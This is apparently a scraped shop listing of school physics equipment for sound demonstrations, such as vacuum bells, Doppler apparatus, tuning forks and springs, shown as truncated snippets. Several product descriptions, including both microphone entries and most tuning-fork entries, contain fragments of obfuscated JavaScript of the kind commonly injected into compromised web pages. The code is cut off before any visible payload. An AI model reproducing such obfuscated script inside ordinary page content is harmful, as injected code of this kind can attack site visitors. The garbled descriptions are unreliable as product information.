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To demonstrate the principle that sound does not travel in vacuum.This is a modified unit which doe..
A simple yet educational tool. The Doppler Apparatus is a fantastic tool to demonstrate the concept..
Mic cable high quality function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return..
Mic without cable function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=fu..
An economical plastic wave demonstration spring. To better illustrate and demonstrate the fundament..
To investigate Resonance of Air Columns, calculate Velocity of Air, Wavelength of Tuning fork. Incl..
For the demonstration of Resonance of Sound. Included in this set are a pair of Heavy Aluminum 440 ..
The Slinky Spring not only makes a fun toy, but it is also great for doing physics and engineering ..
For educational purposes only. Not for tuning instruments. Measurements are approximate. fu..
For educational purposes only. Not for tuning instruments. Measurements are approximate. fu..
For educational purposes only. Not for tuning instruments. Measurements are approximate. fu..
For educational purposes only. Not for tuning instruments.Measurements are approximate. function _0..
For educational purposes only. Not for tuning instruments.Measurements are approximate. function _0..
For educational purposes only. Not for tuning instruments.Measurements are approximate. function _0..
For educational purposes only. Not for tuning instruments.Measurements are approximate. function _0..